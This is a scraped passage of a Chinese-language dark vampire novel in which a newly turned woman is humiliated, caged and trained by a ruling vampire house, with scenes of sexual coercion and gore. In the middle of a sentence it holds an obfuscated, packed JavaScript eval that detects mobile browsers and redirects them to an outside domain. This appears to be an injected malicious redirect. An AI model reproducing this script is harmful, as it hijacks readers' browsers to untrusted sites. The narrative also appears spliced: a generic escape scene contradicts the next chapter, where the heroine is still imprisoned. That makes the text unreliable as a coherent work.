我在愉悦中死去了一千次。那痛苦与极乐交织的浪潮一次又一次地席卷着我，那感觉既像是一瞬间，又像是永恒，而我只能无助地被它带着起伏。 过了一会儿，一些如转瞬即逝的梦境般的幻象出现在我眼前。 我坐在一辆由两匹马拉着的战车上。我射出一支箭，箭飞得又准又狠，射进了一个男人的喉咙。那是我的第一次杀戮，也是众多杀戮中的一次。 一位异国公主在我面前匍匐在地，她哥哥的血还沾在她的衣裙上。我说出了几句话。她泪流满面，屈辱地解开了衣裙的扣子。那件衣服从她金色的肩膀上顺滑地滑落。我站了起来。 一位年长的女子坐在一个精致的花园中央。她的美丽与智慧堪称传奇。她正在一块鞣制过的人皮上书写着一个复杂的咒语。当她听到我的动静，抬起头来，微笑着。 我躺在一张被汗水和鲜血浸湿的床上。我的双手紧紧捂着肚子上的伤口。那股恶臭令人作呕。还是那位女子，她带着悲伤的微笑靠在我身旁。她温柔地把我的头发拨到后面。她的另一只手拿着一个小瓶，里面装着黑色的液体，送到我的唇边，我把它喝了下去。 在那炽热的力量几乎要把我从内而外燃烧起来之前，我喘着粗气挣脱开来。我那即将消散的意识在这一刻被重新铸就，变得无比敏锐和冰冷。那股力量在我的身体里流淌，渗透进每一个器官。我像一个濒临渴死的女人一样吸收着它。 我想起来了。 我的名字是阿丽亚娜·露西尔·比阿特丽斯·雷诺。我有一个父亲和一个哥哥。我有家人、朋友，有希望和梦想。我和我最好的朋友来到新奥尔良短暂停留。我本打算在一场舞会上和一个熟人谈谈，却在这里遇到了主人。他…… 不。 不。 不不不不不不不不不 不——！！！！！！！！！ “你对我做了什么，你这个！你这个！” 那个怪物大笑起来，他满心欢喜！不！这不可能，这是一场噩梦！不。我拒绝接受…… 不。这是…… “你做了什么？我现在是什么？为什么？” “这么大的火气啊，小家伙，你恨我吗？你恨我吗？” 我怎么能恨他呢，我是那么爱他，可又那么恨他，爱他，恨他…… “不，主人……” “不？那你开心吗？” “啊——！” “流泪了？真是太可爱了！不？这难道不是你想要的吗？” “你怎么敢！你怎么能这样！你侵犯了我，杀了我，把我变成了这副模样！” 他的手从我的脖子滑到我的喉咙。 “呃！” “啧啧，小家伙，你可不能对我这么无礼。毕竟我为你做了这么多。” 他露出了迷人的微笑。 “你曾经是那么可爱，一个胆敢接近我的小乡下女孩，就好像我们是平等的一样。你甚至还先跟我搭话，主动介绍了自己。我当时真想把你大卸八块，以惩罚你的无礼，但后来你开始说话了。 那么多的计划，那么多的梦想。你的这份冲劲，这份热情，让我深受感动。你让我想起了很久以前认识的一个人。和你一样，她也试图超越自己的身份，不过，她成功了。她的功绩激励了一整个文明。你和她很像。你什么都想要，甚至还想要我！你问我是否已经结婚。如此大胆，如此傲慢。我非得看看事情的发展不可。 所以现在你在这儿了，小家伙，和我一样，成了一个吸血鬼。摆脱了这个半文明世界的种种束缚。你可以长生不老。时间不会侵蚀你的美貌，也不会磨灭你的智慧。你可以得到一切，甚至可以得到我。让我看看你能有多大的野心，小阿丽亚娜。让我看看我没有在又一个失败者身上浪费我的鲜血和种子。” “你不会就这样逍遥法外的，咕……！” “上帝？你是想说上帝吗？对我们来说，现在只有一个上帝了。抬头看看。” 尽管我极力抗拒，还是抬起眼睛看向了头顶的天空。 太美了。 那是一片光明与黑暗交织的天幕。就像某位神圣的艺术家在上面随意挥洒着色彩的光影，呈现出一种难以捉摸的图案。我从不知道天空可以如此令人惊叹，要不是因为天空中出现了一个新的天体，我一定会看得入迷。 扭曲的云朵和阴森的紫色根茎环绕着一只眼睛，眼白是黑色的，瞳孔是狭长的红色。它巨大无比。甚至比月亮还要大得多。 天空中有一只巨大的眼睛。一只戴着紫色王冠的恶魔猫眼。 我呆呆地望着，说不出话来。 它也回望着我。 我想闭上眼睛，但我做不到，因为主人让我看着。极度的恐惧在我的脑海中蔓延。它是有生命的。我感觉到了一种存在。 “欢迎来到你的黑与红之旅，小家伙，” 主人说，“希望它能如你所愿。” 6. 新生血族的反抗序章 那男人把我扔到地上。 “就按说好的，她归你了。”他满不在乎地说道。 我艰难地抬起眼，只看到一条蓝色裙摆的边缘。 这一切太难以承受了。 我终于明白了。 我记得自己死了。 我现在是个怪物。 我成为怪物已经四天了。 我吸食鲜血。 我被诅咒了，是个可憎之物。而走廊里的那些人，他们是牧师。 我杀了一个牧师。 头一晚的那个男孩，也是我杀的。 在那之前，作为正常人的最后几个夜晚，我……他……对我做了那些事。 这不是噩梦，我无比清醒地知道这一点，就像我知道自己本该歇斯底里却做不到，本该求死却不想死。我内心的某些东西已经破碎了。 或许终有一天，衰老会夺走我的理智，但如今流淌在我意识里、触动我内心的，已不再是人的灵魂。它冷酷得多。 我流下的泪水早已在脸颊上干涸。恐慌已经退去，取而代之的是冰冷的笃定。我不再是那个在那晚翩翩起舞、畅饮美酒的阿丽亚娜，不再是那个饱受折磨、奋力抗争、先是祈求自由而后祈求速死的人。我不再是她，至少不完全是了。 我是个吸血鬼，我想活下去。 我或许被剥夺了曾经憧憬的未来，但在兑现对自己的承诺之前，我不会放弃这条可怜的性命。我是阿丽亚娜，我只属于我自己。我要活下去，我要回家。他们不能夺走这一切，我不会让他们得逞，永远不会。就像希梅纳说的，耐心和决心会支撑着我。 希梅纳。 她帮助过我。她展现出了同情、善良和高尚。他们难道不都是怪物吗？我向左转头。她就在那儿，盔甲被鲜血染红，但除此之外并无大碍。她像阅兵式上的士兵一样，目视前方。就在我看着她的时候，她短暂地朝我这边转过头来。 这一眼足够让我看到她眼中的怜悯。 我需要思考，需要评估形势。我需要时间。 “你这老怪物，别急着走。你当我是傻子吗？你想让我相信穆尔的仆人背叛了我们所有人，而你却与此毫无干系？你们俩肯定合谋要我们死！” “这些指控太荒谬了，加斯帕德，你心里应该有数。”塞隆勋爵回应道。 “你们都瞎了眼，看不到真相，但我不会被当傻子耍！” “小心点。”主人说道，空地瞬间安静得可怕，“听起来你这是第二次侮辱我了。” “你又懂什么是荣誉？你躲在虚伪的准则和邪恶的魔法背后！” “哦？你觉得我手无缚鸡之力吗，年轻的加斯帕德？你敢拿你的永生来赌吗？” “你会为这些话后悔的，你这腐朽的老东西！我接受你的挑战。不许用魔法，只凭我们的剑和自身实力。” 我难以置信地转头看向那个金发络腮胡男人。加斯帕德，罗兰家族的代表。他是认真的吗？！他难道看不出自己和对方实力悬殊吗？ “埃孔家族见证。”那个高大的黑人低沉地宣布道。 “卡迪兹家族见证。”塞隆勋爵补充道。 “兰开斯特家族见证。再见了，加斯帕德，我可不会说我会想念你。”穆尔夫人接着说道，声音冷若冰霜，满不在乎。 众人纷纷退开，我站起身，直面穆尔夫人冰冷的目光。 “怎么，你还打算像个洗碗女仆一样在地上趴多久？” 我在她面前站起身，咬紧牙关，一言不发。我不知道约束吸血鬼的规则，所以也不清楚她能在多大程度上随意杀我。我得让她相信，留我一命比杀了我更有用。 “你现在为我效力。” “是的，穆尔夫人。” “我需要管教你吗？” “不用，穆尔夫人。” “哼！看来你至少知道自己的身份了。连猴子都能被调教，看来是这样。” 这个□□，我真想拧下她的脑袋。 啊。 原来如此。 我能感觉到自己的思想，像湖面一样扭曲、堕落，而在更深的地方，还有别的东西。我活着的时候，容易动怒，但现在这种感觉截然不同。 它就像一个扭曲的东西，在表面下徘徊，冷酷无情，充满掠夺性。正是这部分的我，与那些牧师搏斗，还突袭了奥戈泰。如果我释放它，它可不会只说些狠话。 眼下，它对我没什么用处。我稍有反抗，就会遭到迅速而无情的镇压。 穆尔夫人误以为我的沉默是顺从，得意地笑了笑，然后转身离开。 “跟上。” 我照做了，终于有时间环顾四周。 我们站在一座美轮美奂的花园中央。花园里曾矗立着一座宏伟的宅邸，想必曾经也是一道亮丽的风景。如今，只剩下焦黑的横梁和坍塌的墙壁。有人从外面开辟出一条路，通向宅邸中心那扇巨大的钢门。 那些战斗牧师的尸体横七竖八地躺在草地上，不过大多数似乎是在某种防御阵线中死去的。坍塌的帐篷和被杀的野兽在庄园边缘构成了一幅可怖的景象。我能看到远处有仆人在把财物搬上马车，看来有一些仆人活了下来。 吸血鬼们静静地聚集在一个平坦的圆形场地周围。似乎每位领主都带着两到五名追随者，他们站在领主身后。我想走到主人身边，但还是站到了兰开斯特家族的人后面。梅卢西娜朝我这边转过身，残忍地笑了笑。我没有回应。 两名斗士走进了竞技场。穆尔夫人拿出一条白色带子，毫无仪式感地抛了出去。我能看清罗兰家族领主那张傲慢脸上的每一个细节：他的自负、他的轻蔑，还有他对胜利的笃定。 我绝不会如此愚蠢，于是我暗自下定决心，要控制住内心的那头野兽。 接下来发生的事，是一场教训，但这教训不是给加斯帕德的，而是给我们其他人的。 前一刻，这位领主还站在圆圈边缘，下一刻，他便以完美的冲刺姿势来到了主人身旁。他那把黑色利刃的剑刃擦过主人深蓝色外套的边缘，却并未碰到衣服。主人一只手抓住加斯帕德握剑的手臂，另一只手深深地插入了他的胸膛。 加斯帕德的表情从得意瞬间变为惊讶，再变为痛苦，最后变成了恐惧。一股黑色的血液如雨点般洒落在地上，罗兰家族的代表踉跄着，身体摇摇晃晃，全靠主人钢铁般的钳制才没有倒下。 主人不紧不慢地，无视这个男人祈求的眼神，松开了他的剑，剑掉落在地。然后，主人抓住了他的喉咙。 接下来的这一幕，我永生难忘。 □□撕裂和骨头断裂的声音，头颅被一点点扯下时发出的抽吸声，脊椎骨缓缓暴露在众人眼前。 这个男人在一道蓝色火焰中挣扎了十秒钟才死去。在这十秒钟里，主人展现出了他的真面目：他完全是一副 bored 的样子。 对他来说，这不过是又一只需要拔掉翅膀的虫子，好让其他害虫知道别来招惹他。 当地的这位主人甚至都不值得他亲自动手杀死。他简直就是手到擒来的猎物。 主人扬起一边眉毛，看向沉默的众人。穆尔夫人向他鞠躬。 “梅卢西娜会带你去你的船那儿，大人。” 看到那个小□□脸上露出的极度恐惧，我心里涌起一丝小小的快意。 不幸的是，主人转身要走时，我不由自主地向前迈了一步。 “主人……” 我知道我不该这么做，但我必须试试。他完全无视了我。他一言不发地离开了，甚至都没看我一眼。我不明白。我一直都很听话。他让我做的我都做了……我已经尽力了！可为什么，为什么…… 其他吸血鬼都静静地站着，所以我的失态和随之而来的羞愧被所有人看在眼里。正当我觉得事情不可能更糟的时候，我感觉有两只爪子抓住了我的脖子。穆尔夫人冰冷的气息喷在我的耳边，让我浑身一颤。 “为我效力还不到十分钟，你就在我的同伴面前让我难堪。看来你还真需要管教管教。把衣服脱了。” “什么？” 她那锋利的爪子划破了我的皮肤，鲜血渗出，我痛得浑身抽搐。啊！这真的好痛！ “别让我再说一遍。” 我只能庆幸大多数其他吸血鬼都去忙别的事了，我咬着牙，慢慢脱下了我的长袍。不一会儿，我就只穿着贴身衣物站在了空地上，还好周围的绿植挡住了别人的视线，没让我的裸体暴露在外。这是我被迫做过的最丢脸的事。 一段记忆如虫子般钻进我的脑海，让我不禁畏缩了一下。事实上，这是我遭受过的第二丢脸的事。 上帝啊，我为什么要这样死去？我到底做了什么，要遭受这样的对待？ 你为什么抛弃了我？ 我没有得到答案，其实我也没指望能得到。 我没等多久。一个大胡子男人很快就来到了我们面前。我认出了他那双疯狂的蓝眼睛，第一天在牢房里我就见过。他肆无忌惮地盯着我，色眯眯地打量着我！我拼命用手遮挡自己。 “嘿嘿，看来尼拉里还挺会挑的……” 我愤怒地嘶叫一声，他吓得往后退了一步。 “够了，鲍杜安，她可不是你能驯服的。” 这个男人若有所思地看着我，然后扔给我另一条裙子，一条普通的白色亚麻布裙。以前，我绝对不会让家里的仆人穿这种破布出门，可现在，我却无比珍视它，因为这是我现在仅有的一件身外之物。 我相信穆尔夫人让我脱衣服，不只是想让我赤身裸体，更是想以这种无声的威胁，让我不敢违抗她的意志。 我刚把自己裹好，我们就出发去加入离开堡垒的马车队伍。我认出了那对双胞胎，剩下的罗兰家族成员走在我们前面。看来他们首领的死对他们丝毫没有影响。当我看到自己被带到的地方时，我惊恐万分。 穆尔夫人转过身看着我，等着看我的反应，可这次我强忍着没出声。 一个笼子。 他们要把我像马戏团的动物一样关在笼子里运送。噢，我真想让他们尝尝痛苦的滋味，但我必须忍耐。 鲍杜安肩上挂着一副镣铐，那是用残酷的金属打造的巨大物件，只要我能避免，就绝不想让他靠近我半步。 穆尔夫人指了指笼门，我默默地走了进去。如今我的处境如此，连笼子很干净都让我心怀感激，这足以说明我的落魄。 兰伯特默默地骑着马来到我旁边。他故意无视我，而我也正求之不得，同样不想理他。 兰开斯特家族是最后一批离开堡垒的。只留下十几个仆人清理战场。我们这支小小的队伍由六辆马车和四辆手推车组成，其中就有我的笼子，我们静静地出发了。 尽管身处这样的境地，我还是忍不住好奇地四处张望。 我第一次真正领略到了沼泽地夜晚的魅力。夏日里令人压抑的湿热在夜晚终于减弱了，或许是我不再像以前那样受其困扰了。 各种声音和气味交织成一曲宏大的和谐乐章，我花了好长时间观察柏树的树叶和树皮上那些奇特的纹路，还有浑浊池塘水面上的涟漪。 每一只昆虫、每一株植物都让我感到新奇，仿佛我从未见过它们。我怀疑吸血鬼的视力比人类敏锐得多，这是为了帮我们干些邪恶的勾当，但让我感到些许安慰的是，我新获得的这些感官能力不只能用于作恶。 也算是我的运气好，道路泥泞不堪，不然我肯定会被整个商队扬起的灰尘呛死。现在是七月，夜晚是唯一能让人忍受的时段。 所以，我成了一名吸血鬼。 我完全不知道这意味着什么。我从未听说过这样的事。我很难相信怪物能生活在人类中间，行动快得让人眼都跟不上，还能随意挖出人的心脏，而这些却不为人知。 肯定有人会在被吸血后产生疑问吧？如果那些战斗牧师知道我们的存在，为什么不召集殖民地民兵，用大炮把我们轰死呢？我真是困惑极了。有太多事情我都不明白。说真的，我感觉自己又变成了一个懵懂无知的幼儿。 想到这儿，我还能生孩子吗？ 我还想生吗？他们难道不会像我一样，成为扭曲的怪物吗？ 我不再想这个问题了。我不会让兰伯特再有机会看到我在一个晚上第二次落泪。我也不想再问问题了。看来未经允许就开口说话，是不会被容忍的。 我的手推车在队伍的最后面，我们行进得极其缓慢，最后甚至看不到前面的队伍了。我猜这么多手推车在夜里一起行动，肯定会引来不必要的注意，所以最后就只剩下一个人类车夫和一直沉默寡言的兰伯特陪着我。 幸运的是，夜晚的新奇体验让我暂时忘却了烦恼，直到我们遇到了三个武装民兵组成的巡逻队。他们疑惑地看着我。 此刻我不想反抗。希梅纳的承诺还清晰地印在我的脑海里，而且我毫不怀疑，如果我试图寻求救援，兰伯特能在瞬间制住他们。 因此，我只能听他解释说我是一个裁缝的放□□儿，在发现自己怀了孩子后就离家出走了，孩子的父亲还不知道是谁。 他还说，孩子出生时，我竟然把他给杀了，就为了继续过我那堕落的生活。随着兰伯特编造着这个故事，那些人的表情从警惕变成了震惊，最后变成了厌恶。他还真像我之前认为的那样，是个出色的演员，我暗自提醒自己，以后他说的话一个字都不能信。 我们离开了巡逻队，穿过一个小村庄。夜晚充满了人类的气息。在汗水和污垢的恶臭之下，有一种生命的芬芳，让我的下巴都隐隐作痛。我用舌头舔了舔自己的獠牙，发现一共有八颗。 它们取代了我所有的犬齿，还有最外面的门牙。希梅纳提到过，我的血统特征很明显。肯定就是因为这些獠牙。现在我的记忆更清晰了，其他吸血鬼都只有四颗獠牙。 这是个很严重的消息。这意味着我必须绝对避免让别人看到我的牙齿，以免我的身世立刻被识破。 我正想着，我们离开了村庄，又遇到了另一队巡逻兵。这一次，兰伯特给他们讲了一个我谋杀收留我的老人的故事，说我给他下毒，还勾引他的儿子，偷走了他们家的财产。 他们脸上再次露出惊恐的表情，我很纳闷，兰伯特为什么要这么镇定自若地说谎，明明这么做对他没有任何好处。他甚至都没从中得到乐趣。 过了一会儿，地形逐渐发生了变化，我们来到了一座巨大的殖民风格房屋旁边。有一段时间了，我在风中嗅到了一丝淡淡的海水味，我记得兰开斯特家族在海上贸易方面有涉足。我猜我们可能离新奥尔良不远了。 那是我丧命的地方。 兰伯特打开笼子，让我出来。我默默地跟着他，穿过一个宏伟的入口和一条条走廊。我们经过布置雅致的房间和几个穿着蓝色制服、恭顺的仆人，来到一扇紧闭的门前。兰伯特敲了敲门，然后我们走了进去。 这是一个宽敞的闺房，烛光摇曳。几个吸血鬼慵懒地躺在舒适的沙发上。 我感到惊恐万分，不是因为他们的数量，而是因为他们一动不动。没有一丝布料的沙沙声，没有一声叹息。他们甚至都没有呼吸。我震惊不已，也开始屏住呼吸。 我一直屏着气，直到兰伯特把我带到前面。我仍然屏着气，看着穆尔夫人从一个类似王座的座位上站起来，向众人讲话。 吸血鬼们调整了一下姿势，表示在认真听。我感觉自己像是在看一场木偶戏，他们的动作太不自然了。我数了数，一共有七个。 除了穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054913|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔夫人、梅卢西娜和兰伯特，还有一个尖嘴猴腮的无赖、一个像癞蛤蟆一样臃肿的女人、一个牙齿参差不齐、看起来傻乎乎的小姑娘，以及一个秃顶的壮汉。 我终于意识到，路易斯安那州不只是人类流亡者的聚集地。 “尊敬的家族成员们，这次秘密会议取得了圆满的结果，兰开斯特家族再次登上了巅峰。我成功的谈判巩固了我们对新奥尔良及其丰富财富和资源的掌控。我们的成功已成定局。” 这些可怕的活死人礼貌地鼓起掌来，就像一群听话的恶犬。 “然而，这场胜利并非没有令人失望之处。如你们所知，我们失去了凯特琳，还被奥戈泰背叛了，愿他的灵魂永远受煎熬。” 众人没有流露出任何反应。我相信这群可怜虫彼此之间不会有任何同情。 “作为尼拉里大人给予我们服务的回报，我们迎来了一位新成员。作为这片土地上的首要家族，‘吞噬者’选择与我们合作，在未来的岁月里，我们将从中受益。” 只要我能阻止，就不会让这种事发生。 “请欢迎阿丽亚娜加入我们这个充满爱的大家庭。” 我感觉自己就像一块被扔到一群猎犬面前的肉。 “她还非常年轻，所以梅卢西娜要负责把她培养成我们这个群体中有价值、有作为的一员，这对大家都有好处。” 我注意到那个红头发的泼妇脸上露出了最恶毒、最残酷的笑容。啊，没错，我真的需要竭尽全力控制自己才行。 “那么，今晚我就先退下了。我还有很多事要做。” 她离开时，其他人都站了起来。梅卢西娜走到我身边，像我们是最要好的朋友一样抓住我的胳膊，然后把我拽出了房间。我惊讶地发现，我比她高出不少，但这毫无意义。她控制着我，而且她也清楚这一点。接下来的日子可不好过了。 梅卢西娜把我带到了一间狭小、昏暗的房间，里面只有一张简陋的床和一个破旧的衣柜。“从现在起，这就是你的房间。”她冷笑着说，“别想着逃跑，也别给我惹麻烦，否则你会后悔的。”说完，她便转身离开了，重重地关上了门，那声响在这狭小的空间里回荡。 我瘫倒在床上，泪水夺眶而出。我怎么会落到这步田地？曾经，我是一个生活在幸福家庭里的普通女孩，有着自己的梦想和憧憬。可现在，我成了一个人人唾弃的吸血鬼，被迫听从这些恶魔的摆布。 我想起了我的家人，他们现在一定在为我的失踪而悲痛欲绝。还有我的朋友们，他们会怎么想？我再也不能和他们一起欢笑、一起玩耍了。想到这里，我心中涌起一股强烈的愤怒和不甘。我不能就这样屈服，我一定要想办法逃出去，回到我原来的生活。 接下来的日子里，我开始默默地观察周围的一切。我发现，这些吸血鬼们虽然表面上看起来团结一致，但实际上彼此之间充满了猜忌和争斗。他们为了争夺权力和利益，不择手段。 梅卢西娜每天都会来检查我的情况，她总是对我百般刁难，试图让我屈服。但我每次都咬紧牙关，绝不向她低头。我知道，一旦我表现出软弱，她就会变本加厉地欺负我。 在这个陌生而又可怕的世界里，我唯一能依靠的就是自己。我开始努力学习如何控制自己的力量，如何在黑暗中生存。我发现，作为一个吸血鬼，我的感官变得异常敏锐，力量也比以前强大了许多。虽然这些能力让我感到恐惧，但我也明白，它们或许将成为我逃离这里的关键。 一天晚上，我像往常一样在房间里思考着逃跑的计划。突然，我听到了一阵轻微的脚步声。我警觉地坐起身，屏住呼吸，仔细聆听着外面的动静。脚步声越来越近，最后停在了我的房门前。 门缓缓打开，一个身影出现在门口。借着微弱的光线，我认出了他——是那个曾经在战场上见过的埃孔家族的高大黑人。他静静地站在那里，看着我，眼中没有一丝敌意。 “你是谁？来这里干什么？”我警惕地问道。 他没有回答我的问题，而是走进房间，轻轻地关上了门。“我叫马库斯。”他终于开口了，声音低沉而平静，“我知道你想逃跑，我可以帮你。” 我惊讶地看着他，心中充满了疑惑。“你为什么要帮我？你也是他们中的一员，为什么要背叛他们？” 马库斯微微叹了口气，“我和他们不一样。我虽然是个吸血鬼，但我还有自己的良知。我看不惯他们的所作所为，尤其是对像你这样无辜的人。我不想再看到更多的悲剧发生。” 我犹豫了一下，不知道是否应该相信他。但在这个绝望的境地里，我已经没有别的选择了。“你真的能帮我逃出去吗？”我问道，声音中带着一丝期待。 马库斯点了点头，“是的，我有办法。但我们必须小心行事，不能让其他人发现。”他走到我身边，低声向我讲述了他的计划。 原来，马库斯一直在暗中寻找机会，帮助那些被囚禁的吸血鬼逃脱。他知道庄园里有一条秘密通道，可以通往外面的世界。但这条通道被重重守卫，想要通过并不容易。 “我们需要等待一个合适的时机。”马库斯说，“明天晚上，穆尔夫人和其他几位领主将会举行一场重要的会议，大部分守卫都会被调走。这将是我们逃跑的最佳时机。” 我听着他的计划，心中既紧张又兴奋。这或许是我唯一的机会了，如果错过了，我可能永远也无法离开这里。 “好，我相信你。”我终于下定了决心，“我们该怎么做？” 马库斯笑了笑，“从现在开始，你要装作一切正常，不要引起任何人的怀疑。明天晚上，我会来接你。记住，无论发生什么事，都要保持冷静。” 我点了点头，暗暗记住了他的话。从这一刻起，我心中燃起了一丝希望的火花。我期待着明天晚上的到来，期待着能够重获自由。 接下来的一整天，我都在努力克制自己的情绪，装作若无其事的样子。梅卢西娜像往常一样来检查我，她似乎没有察觉到我的异样。我心中暗自庆幸，同时也更加期待着夜晚的降临。 终于，夜幕降临了。整个庄园笼罩在一片黑暗之中，只有几盏微弱的灯光在闪烁。我静静地坐在房间里，等待着马库斯的到来。 时间一分一秒地过去，我的心跳越来越快。突然，我听到了一阵熟悉的脚步声。我立刻站起身，紧张地看着门口。 门缓缓打开，马库斯出现在门口。他向我做了一个手势，示意我跟他走。我小心翼翼地走出房间，跟在他身后，沿着走廊悄悄地前行。 一路上，我们没有遇到任何人。很快，我们来到了一扇隐藏在墙壁后面的门前。马库斯从怀里掏出一把钥匙，打开了门。门后是一条狭窄的通道，里面弥漫着一股陈旧的气息。 “跟紧我。”马库斯低声说，然后走进了通道。我深吸一口气，也跟了进去。 通道里一片漆黑，我们只能凭借着微弱的光线摸索着前进。时不时地，我能听到远处传来的声音，那是守卫们巡逻的声音。我心中充满了恐惧，但我知道，我不能回头。 不知走了多久，我们终于来到了通道的尽头。马库斯推开一扇门，一阵清新的空气扑面而来。我激动地走出通道，发现自己已经来到了庄园的外面。 “我们成功了！”我兴奋地低声说道。 马库斯笑了笑，“还没完全成功呢。我们还得尽快离开这里，否则他们很快就会发现我们逃跑了。” 我们沿着一条小路匆匆前行，很快就消失在了夜色之中。我回头看了看那座阴森的庄园，心中充满了感慨。我终于逃离了那个噩梦般的地方，重获了自由。但我知道，我的旅程才刚刚开始。未来还有许多未知的挑战在等着我，而我，已经做好了准备去迎接它们。 7. 囚禁与挣扎 我睁开眼，眼前一片漆黑。他们所谓的我的房间，只有食品储藏室大小，满是凄苦地迎接我的苏醒。说实话，这就是个牢房，毕竟哪有卧室的门锁会装在外面呢？ 今晚没有噩梦，真是难得的改变。 我听到脚步声传来。我连一点隐私都没有。 一周以来，我了解到了许多事情。 吸血鬼在黎明“死去”，在日落或更早的时候苏醒。在那段时间里，我们毫无防备。阳光会杀死我们，银刃能让我们重伤。火烧我们，比说出“纵火”这个词还快，我们就会变成火炬。 除非捕猎，否则我们的思想容易分散。不过，我们的身体在各方面都很优越，只要有足够的时间和养分，就能治愈最严重的伤口。 我们不需要呼吸，毒药伤不了我们，也不会溺水。只有脑袋和心脏被摧毁，才意味着我们的终结。这意味着，如果有牧师给奥戈泰提供血液，他也许能从伤口中活下来。 血液。 它是生命旅程中的红色燃料，是我们维持这仿生活着的样子所必须摄取的能量。血液无法储存，必须从源头获取并饮用。没有血液，我们体内的掠食本能就会占据上风，直到尝到那深红色的琼浆。 失去控制的吸血鬼，有时再也无法恢复理智。他们必须像野兽一样被猎杀。 血欲驱使着我们，它玷污了我们存在的方方面面。它永远无法被完全克服，也永远不会真正得到满足。像我这样初为吸血鬼的人，每天都要努力控制它，在满足血欲后，又要努力避免陷入麻木。 为此，我们有一些手段。吸血鬼的唾液能让被咬的人感觉极度愉悦，然后迅速愈合伤口，使其以惊人的速度消失。被咬伤的人会不由自主地对吸血鬼产生一种不自然的忠诚。 我们的眼睛能混淆记忆，不过我肯定这其中的奥秘远不止别人告诉我的这些。 到目前为止，我还不被允许离开这栋建筑，每天晚上都会有一个新的人类被带到我面前。用希梅纳的方法，我能在不被梅卢西娜过多伤害的情况下停止进食。我能看出她很失望，而牲畜的死亡本可以成为她贬低我的好借口。 养活八个吸血鬼所需的后勤保障，一定非常惊人。 这可能就是战斗牧师通常找到我们的方式。我们有一些独特的特征，比如爪子和苍白的肤色，但我们的獠牙通常是隐藏的，除非血欲的掌控太过强烈。 镜子也照不出我们的身影，我觉得这很荒唐。总而言之，似乎创造我们的人是想让我们渗透进人类世界。猎杀我们一定非常困难。 当我问到关于牧师的事情时，梅卢西娜变得异常沉默寡言，我只好放弃这个话题。 我听到轻轻的喘息声。琼正在鼓起勇气敲我的门。她没有长期屈服于吸血鬼的仆人的那种顺从行为。她身上有一种火焰，他们还没能将其扑灭。梅卢西娜知道这一点，这就是为什么她负责在傍晚我醒来时第一个出现在我面前。 如果我把她吸干，梅卢西娜就一石二鸟了。她就是这么小心眼。 到目前为止，我还能控制自己，但这越来越难了。梅卢西娜总是让我在还差一点就饱足的时候停止进食。每天晚上，我都感觉自己的自制力又减弱了一些。 有人敲门。 “进来。” 这句礼貌用语就是个笑话，我们都心知肚明，但我还是紧紧抓住任何能显示我有控制权的表象，以及每一丝礼貌，来抑制血欲。 “梅卢西娜夫人请您过去，阿丽亚娜小姐。” 我点点头，不敢开口说话，她立刻就离开了。 生命的气息轻拂着我的鼻孔，血欲如重拳击中我的腹部。我感觉好像有人用一把冰冷的斧头掏空了我的内脏。已经很久没有人吸食过琼的血了。所以我尝一小口应该没关系，就一小口。梅卢西娜之后可以惩罚我。我只需要极其微小的一口，就几滴就好。 不，我不能这么做。 等我回过神来，我的手已经放在了门把手上，而琼背靠着门，一动不动地站着。她一声不吭，双眼紧闭，面容松弛，但我能从她的汗水中闻到恐惧，能从她的心跳声中听出恐惧。 她尽力不挣扎，因为她知道哪怕一个小动作都会让我失控。 太险了。 真的太险了。 我一根手指一根手指地松开了握住门把的手，为她打开门。直到我转身，她才离开。 这是最危险的一次，但我应该追上去把她扑倒在地！然后—— 不。 我不会这么做。 我机械地换好衣服，来到梅卢西娜的办公室。她正在和一个衣着华丽、长相英俊的男人深入交谈。他还不知道自己即将面临什么。从他涨红的脸和散发的情欲气息我就能看出来。能和梅卢西娜这样的女人独处，让他兴奋不已。他的思想还没有被我们这样的人玷污过。 猎物。 梅卢西娜用冗长的介绍来玩弄我们俩。他一开始被打断时的沮丧，在看到两位美女后立刻变成了纯粹的欲望。 我能想象他那扭曲的脑海中一定浮现出了下流的画面。在这一切结束之前，我还得忍受多少侮辱？我才来这里一周，这一周里，我一直在和自己斗争，还要忍受梅卢西娜那些 petty 的羞辱。 最后，在一个荒谬的借口下，我终于有机会拥抱他。我的手绕过他的肩膀，轻蹭他的脖子。 我仿佛置身于小木屋中。 舔一下，咬一口。 终于。 我比被那个泼妇用爪子掐着脖子时被允许吸食的量，又多喝了两口。她还划出了血。 我吸食完后，她把他带到了不知名的地方，而我则努力擦掉他□□的□□蹭过我腹部的记忆。我多么希望现在流行穿宽松的裤子啊。 一阵敲门声后，另外两个吸血鬼进来了，梅卢西娜继续她的“课程”。 接下来的事情让我的处境变得几乎无法忍受。我已经被剥夺了人性，现在兰开斯特家族的公主还想夺走我的理智。 她的教导就像一场有两幕、四个参与者的悲剧。首先，她会尽可能傲慢和轻蔑地展示她对某个特定话题的了解，比如兰开斯特家族哲学的优越性。 在她这么做的时候，我的同学，愚蠢的夏洛特和没脑子的索菲，会对梅卢西娜的智慧和全面优越性赞不绝口。 必须要恰如其分地大肆赞扬，而公主每天都会选出一个不同的宠儿，这个宠儿会得到她的恩泽，而另外两个人则会遭受尖刻的评论和贬低。 可以说，我只是为了不被惩罚才勉强参与。 过了一会儿，她会用刁钻的问题来测试我们的理解。她有一种本事，能在每一句话里都夹带尖刻的评论和不经意的羞辱，让我们其他人都感到羞愧。 她巧妙地分化和征服我们，不断打压我们这个群体，但又给予足够的鼓励，引发一种恶劣的竞争。她给予宠爱和收回宠爱都很随意，还竭尽全力让我们时刻保持警惕。 我只能咬紧牙关。我对她无数的轻视倒不是特别在意，更让我在意的是她自认为很聪明。她能这么做，只是因为我的两个同伴加起来的智商也就和一个干瘪的萝卜差不多。 我不知道是谁把这两个没脑子的蠢货变成了暗夜生物。我觉得他们当初还不如直接往自己腹股沟捅一刀呢。 “所以，由于制造新吸血鬼的难度，我们的数量有限。亲爱的阿丽亚娜，你能告诉我为什么吗？” 